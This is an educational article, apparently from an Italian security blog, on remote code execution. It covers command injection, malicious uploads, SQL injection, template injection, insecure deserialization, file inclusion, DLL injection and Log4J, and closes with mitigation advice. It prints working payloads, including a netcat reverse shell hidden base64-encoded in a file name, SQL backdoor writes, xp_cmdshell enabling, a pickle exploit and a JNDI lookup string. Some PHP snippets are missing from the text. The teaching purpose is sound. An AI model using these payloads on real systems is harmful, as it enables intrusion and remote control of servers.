
Manuel Roccon : 14 November 2025 11:55
Of all the vulnerabilities, the most feared by victims and the most sought after by attackers is remote code execution, or RCE. This vulnerability allows arbitrary commands to be executed on the attacked system. These commands can be sent via scripts: consider a PHP page loaded on a web server, Windows shell commands, or even machine instructions in the case of buffer overflows.
This type of vulnerability allows a quick takeover of the victim, and this attack is carried out remotely without physical access. These vulnerabilities are exploited for various reasons, from unauthorized system access to the installation of unauthorized software.
But it doesn’t end there: some features amplify the effect, for example when the vulnerability is “unauthenticated” (called unauthenticated RCE) or when elevated permissions are immediately obtained (such as “system” on Windows systems or “root” on Linux). Vulnerabilities like this can easily reach CVSS scores of 9.8 to 10.
Here are some examples of what this vulnerability can cause:
Penetration: Attackers can gain access to the network or system.
This disruption can impact productivity, customer service, and overall business continuity.
One example is a vulnerability encountered a few years ago. It was March 2021, and one morning began with a devastating, initially unknown, attack that affected Exchange mail systems via a zero-day vulnerability later dubbed Proxy Logon (CVE-2021-26855 + CVE-2021-27065).
The attackers attempted to upload live code to compromise mail servers, which were fortunately detected by the installed EDRs. This type of attack is an example of remote code execution and has been classified as 9.8 cvss v3. For more information: https://proxylogon.com/
Most RCEs are chained to other vulnerabilities or exploited through other weaknesses inserted in the code or configurations. Let’s see some of them with some simple examples:
In software development security, a buffer overflow is an anomaly in which a program, while writing excessively large input data to a buffer, overflows into adjacent memory areas.
Thus, the program will later find itself accessing invalid memory pointers because they have been overwritten. No longer having a valid reference to the next memory area containing the next instruction to be executed, it will crash or perform an unauthorized access to another memory area.
An attacker, by identifying and manipulating the areas that would lead to the behavior explained above, can modify the execution flow through specially crafted input, forcing the program to execute arbitrary code injected by the attacker.
Take CVE-2017-14980, for example, which affects Sync Breeze Enterprise 10.0.28, a file synchronization software program. This software features a login-protected web interface.
It was discovered that passing a very long username in the login call caused the software to generate a buffer overflow.
So as mentioned before, by generating a special payload passed in the username input in the login request, this buffer overflow could be exploited to execute remote code.
We had already talked about it here with a practical example from the Hackerhood team
When data transmitted from the client to the server is not sufficiently sanitized from characters that could modify the behavior of the application leading to the execution of arbitrary code.
Let’s assume this code snippet where the system uploads a file to Google Drive via a user uploaded file.
exec("python pydrive.py " . $path . addslashes(trim($fileName));In this case, the procedure will compose a Python command and then run it in a system shell. What we could do is use the file name to tune a command. There are checks in place, but these could mitigate SQL injection, but they’re not sufficient to mitigate this type of RCE attack, so it’s possible to tune a second command.
The command could be “ rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f “ , it cannot be used to rename a file before uploading it as some special characters prevent it (although we could actually modify the REST call we tried another way).
Don’t worry, for those who know bash, you know that it is possible to execute a command encoded in base64: using the $() character, the shell will execute the contents even before executing the python command, so let’s load a file with the name:
$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);The application will run this command from Linux bash and start a reverse shell.
python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);The main problem is that characters that could interact with the commands that will be executed in the shell have not been filtered.
A classic case of RCE involves uploading arbitrary files containing active code that have not been properly filtered. When file upload features are not implemented and tested properly, they can open the door for malicious files to be uploaded to obtain RCE.
In this scenario, a hypothetical PHP web application offers the user the ability to upload images and display them in a gallery after uploading. These images are stored in the “/img/” folder in a public location on the web server. The files are not verified or renamed. So, we could upload a file containing the following code : “” with the .php extension, such as exploit.php.
At this point, once the message has loaded, we inspect the DOM and we should find the loaded image, or the one that was supposed to be.
<pre class="wp-block-syntaxhighlighter-code"> <img></pre>By calling this path, we will most likely execute the code contained in the file. In this case, neither the content nor the extension of the uploaded file have been checked. If possible, prevent the file from being publicly accessible. At this point, all that remains is to call the identified URL: http://example.local/img/exploit.php?cmd=ls
These vulnerabilities arise from inadequate input sanitization. If an attacker provides specially crafted malicious input, some of it can be interpreted as executable commands, allowing the attacker to execute their own code. This category includes SQLi (SQL injection) and SSTI (Server Side Template Injection).
An SQL Injection (or SQLi) is a computer security vulnerability that allows an attacker to interfere with the SQL queries an application sends to a database. Essentially, the attacker “injects” malicious SQL code into user input (such as text fields in a web form) to manipulate the original query and obtain unintended results.
For example, in MySQL, if the FILE grant is enabled in the permissions of the user executing the queries, it is possible to execute remote code.
Let’s assume in this piece of code that it handles the request to the database for a page before executing it:
$sql = 'SELECT * FROM user WHERE username = "' + $username '"'The application would expect a username to check whether it exists or not, such as “mario” . Instead of mario, we pass this SQL snippet:
1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #This will be added to the original QUERY from before creating a new one that the database engine will execute.
SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #The process is extremely simplified but in this way we would have induced the sql query to write content to an arbitrary path.
http://example.local/backdoor.php?cmd=lsIf we were instead in the Microsoft SQL Server environment, we could even send shell commands to the database engine ready to be executed by adding these commands to the original query:
EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";The victim will run whoami in their console. One reason for this is the unchecked concatenation of SQL code and variables, as well as allowing commands that could be disabled as FILE.
Under some conditions, the use of database users with elevated privileges (such as root or sa) can amplify the power of the attack and allow, for example, the execution of commands such as xp_cmdshell in mssql.
Just like with SQL injection, when unfiltered user input is passed to a templating engine and this is concatenated into templates rather than passed as data, a remote code execution condition can result. Let’s look at an example applied to an older version of Twig (1.9.0).
Static templates that simply provide placeholders into which dynamic content is redirected are generally not vulnerable to server-side template injection as in the example below:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );But if instead the user input is concatenated into the template before rendering like in this example:
$output = $twig->render("Dear " . $_GET['name']);This time users can customize parts of the code before it is sent to rendering.
So rather than passing a static value, such as “mario”, we instead pass {{payload}} as a GET parameter, thus being able to execute arbitrary code:
http://example.com/?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}In this case, by accessing the Twig environment and using the registerUndefinedFilterCallback function, you can register an alias for the exec function. Then, call getFilter with the desired command ls [call_user_func(‘exec’,’id’);].
At this point we will see the output of the command.
This method facilitates data transmission by packaging it into a single string of bits, which the receiving system can decode.
If the structure of the serialized data is not well-defined, an attacker could create input that would be misinterpreted during unpacking.
This misinterpretation could lead to remote code execution, depending on how the data is processed and stored.
The following code is a simple example of using cPickle to generate an auth_token, which is a serialized user object, and then save it in a cookie.
import cPickle
from base64 import b64encode, b64decode
class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"
h = User()
auth_token = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}pickle.dumps() in Python is a function used to serialize an object into a byte stream. The resulting output can then be used, for example, in cookies to manage authentication processes.
At each request the victim will then deserialize the object to reconstruct it.
token = cPickle.loads(b64decode(new_token))The vulnerability occurs when the attacker manages to manipulate this data stream, in this case by modifying the serialized object present in the cookie, for example, of the browser.
So by creating a new ad-hoc serialized object, we can execute remote code on the victim once it is de-serialized to read the contents.
import cPickle, os
from base64 import b64encode, b64decode
class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))
e = Evil()
evil_token = b64encode(cPickle.dumps(e))When the object is deserialized on the server, the __reduce__ method will be invoked and execute the remote command “whoami”.
A race condition occurs when the final outcome depends on the precise order in which these processes/threads perform their operations. In other words, the outcome becomes unpredictable and can vary depending on which process “wins the race” to access the resource first.
Take CVE-2021-24377 for example, the system involves uploading a zip file, then unpacking all the files into a known directory, and then finally removing the newly extracted files.
The RACE CONDITION will occur if, immediately after uploading this file, we repeatedly attempt to call the public link to a file contained within it, as the system will begin unpacking the zip before the procedure finishes unpacking and therefore removing the unpacked files.
If the archive included a file with active PHP content (backdoor.php) we could then call this, transforming the attack from a race condition to an RCE.
LFI allows you to load local content containing active code that the application will execute. The primary goal is to be able to load this content. In this example, we have an Apache web server with the default configuration, where the various pages are called by including the file in the URL.
http://example.local?page=index.phpat this point assuming that the apache logs are in the path /var/logs/httpd/access.log we could inject some php code via netcat.
nc ip portonce the connection is opened we will write:
At this point, all we would do is reach the site and execute commands via the link:
http://example.local?page=/var/logs/httpd/access.log?cmd=lsRemote inclusion is even simpler. It involves loading remote content, usually via a URL. If the web server is enabled for remote inclusion (allow_url_include=on), we could include the code shown above, for example, in pastbin.
Then call him back
http://example.local?page=https://pastebin.com/raw/[hash]?cmd=lsDLL injection is a technique that allows arbitrary code to be executed within the address space of a running process. This is done by loading a DLL (Dynamic Link Library) into the target process.
The main steps are:
Memory Allocation: The injector process allocates memory in the target process.
Writing DLL Path: The path of the DLL to be injected is written to the allocated memory.
Loading the DLL: The LoadLibrary function is called to load the DLL into the target process.
A real-world example is CVE-2020-7315. The vulnerability affects McAfee Agent (MA) for Windows prior to version 5.6.6 and allows local users to execute arbitrary code via the use of a malicious DLL.
The cause is a missing DDL in the C:WindowsSystem32 path that the McAfee macompatsvc.exe process tries to load at startup.
So an attacker by placing a new malicious DLL in that path can execute malicious code from within the executable when the process restarts.
Another more sophisticated attack is to use injectors that use the VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread APIs to dynamically load a DLL into an already active process.
On a vulnerable system, once compromised, it would be enough to identify a target process’s PID. This requires forging a malicious DLL and injecting it with an injector.
Broadly speaking, the process is this:
Here are some examples of DLL Injectors and payloads:
DLL Injector
DDL Payload
This technique can pose a significant threat, especially for poorly configured and legacy systems. These systems often lack the necessary security patches and configurations to defend against such sophisticated attacks, or EDRs that detect abuse of these APIs by processes.
We had already seen the use of these APIs as VirtualAlloc in the analysis of the Tesla Agent infostealer.
https://www.redhotcyber.com/post/rhc-da-vita-alloperazione-pollicino-alla-caccia-di-agent-tesla/

Exploiting certain CVEs is another method of achieving remote code execution. Companies behind bug bounty programs integrate third-party services and packages (such as libraries and frameworks) all the time, as they can speed up development and reduce the overall technology costs associated with it.
But this comes at a cost: these integrated services can often contain insecure code that can lead to RCE. Take Log4J (CVE-2021-44228) for example. A simple payload like the one below could have impacted any server using Apache Log4J, such as VMware virtualization systems.
${jndi:ldap://url.com/exploit}There are different methods to mitigate the impacts of Remote Code Execution, some of which we will analyze below.
Keep software up to date: Regularly update software, libraries, frameworks, and operating systems with the latest security patches, including third-party dependencies. Vulnerability scanning: Use tools to identify known vulnerabilities in dependencies.
Patch Management Process: Implement a formal process for tracking, testing, and applying security patches.
Avoid deserializing untrusted data: If possible, avoid deserializing data from untrusted sources. Validate deserialized data: If deserialization is necessary, validate the structure and content of deserialized objects before using them.
Use secure deserialization libraries: Use libraries designed to prevent deserialization vulnerabilities.
Implement a WAF: A WAF can help detect and block malicious traffic, including attempts to exploit RCE and even 0day vulnerabilities.
This is an important layer of defense and prevention, but it does not replace secure coding practices and all those mentioned above!
Vulnerabilities that lead to RCE are truly serious issues and are more widespread than one might expect. When developing an application or client-server systems, best practices should always be followed, both during the design and implementation phases, but also before deploying it to production and during ongoing maintenance.
One recommendation is to constantly monitor vulnerabilities through communities like RedHotCyber and through software vendor announcements (where you can often subscribe to receive their announcements). The National Cybersecurity Agency , as we can read in the FAQ, also monitors and proactively sends information on emerging threats and related mitigation activities through its public channels.
We can therefore follow their Telegram channel at the link https://t.me/s/CSIRT_Italia
Another interesting channel is that of the cert agid at the link https://t.me/certagid
Manuel Roccon